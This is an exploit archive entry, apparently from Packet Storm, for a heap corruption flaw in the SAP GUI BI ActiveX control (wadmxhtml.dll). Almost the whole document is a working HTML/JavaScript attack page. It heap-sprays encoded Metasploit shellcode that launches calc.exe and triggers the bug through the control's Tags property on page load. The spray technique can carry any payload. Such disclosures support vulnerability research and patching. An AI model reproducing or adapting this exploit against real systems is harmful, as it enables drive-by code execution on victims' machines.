SapGUI BI 7100.1.400.8 Heap Corruption

2010-07-2000:00:00
Elazar Broad
packetstormsecurity.com
JSON
`<!--   
  
Product: SapGUI BI  
File: c:\program files\sap\business explorer\bi\wadmxhtml.dl  
Version: 7100.1.400.8  
ClassID: 30DD068D-5AD9-434C-AAAC-46ABE37194EB  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data   
IPersist Safe: Safe for untrusted: caller,data   
KillBitSet: False  
  
Vulnerable Property: Tags  
-->  
<html>  
<head>  
<title></title>  
<script language="JavaScript" defer>  
  
var buf = '';  
while (buf.length < 64) buf += unescape("%u0a05");  
  
  
function Check() {  
  
// windows/exec - 557 bytes  
// http://www.metasploit.com  
// Encoder: x86/alpha_mixed  
// EXITFUNC=process, CMD=c:\\windows\\system32\\calc.exe  
var shellcode = unescape("%uc2dd%uc92b%u38b1%u4fba%uc033%ud9a3%u2474%u5ef4%u5631%u031a%u1a56%uc683%ue204%ucfba%u2a28%u3044%u4da9%ud5cd%u5f98%u9ea9%u6f89%uf3ba%u1b21%ue7ee%u69b2%u0726%uc772%u2610%ue983%ue49c%u6b47%uf760%u4b9b%u3859%u8aee%u259e%ude01%u2177%ucfb0%u77fc%uf109%uf3d2%u8931%uc357%u23c6%u1456%u3f76%u8c10%u67fc%uad80%u7bd1%ue4fc%u4f5e%uf777%u81b6%uc978%u4ef6%ue547%u8ffa%uc280%ue5e4%u30fa%ufd98%u4a39%u8b46%uecdf%u2b0d%u0c3b%uaac1%u02c8%ub9ae%u0696%u6d31%u33ad%u90ba%ub261%ub6f8%u9ea5%ud65b%u7afc%ue70d%u221e%u4df2%uc155%uf4e7%u8c34%u75f6%ue943%u85f9%u5a4b%ub492%u35c0%u48e5%u7203%u0319%ud309%ucab2%u61d8%uecdf%ua537%u6ee6%u56bd%u6e1d%u53b4%u2859%u2e25%uddf2%u9d49%uf7f3%u1b2a%ua450%u32db%u3006%ub24c%ue4a5%u4fce%u6633%uca9a%ubbae%u4950%udf6d%u1df5%u31ee%ua590%u4d95");   
  
var bigblock = unescape("%u0c0c");  
var headersize = 20;  
var slackspace = headersize + shellcode.length;  
while (bigblock.length < slackspace) bigblock += bigblock;  
var fillblock = bigblock.substring(0,slackspace);  
var block = bigblock.substring(0,bigblock.length - slackspace);  
while (block.length + slackspace < 0x40000) block = block + block + fillblock;  
  
  
var memory = new Array();  
for (i = 0; i < 550; i++){ memory[i] = block + shellcode; }  
  
var jmpblock = buf.substring(0, 32);  
  
var a = new Array();  
  
for (i = 0; i < 512; i++) {  
obj.Tags = jmpblock.substring(0, jmpblock.length);  
a[i] = obj.Tags.substring(0, obj.Tags.length);  
obj.Tags = '';  
a[i] += jmpblock;  
}   
  
}  
  
  
  
</script>  
</head>  
  
<body onload="JavaScript: return Check();">  
<object id="obj" classid="clsid:30DD068D-5AD9-434c-AAAC-46ABE37194EB">  
Unable to create object  
</object>  
  
  
  
</body>  
</html>  
`
JSON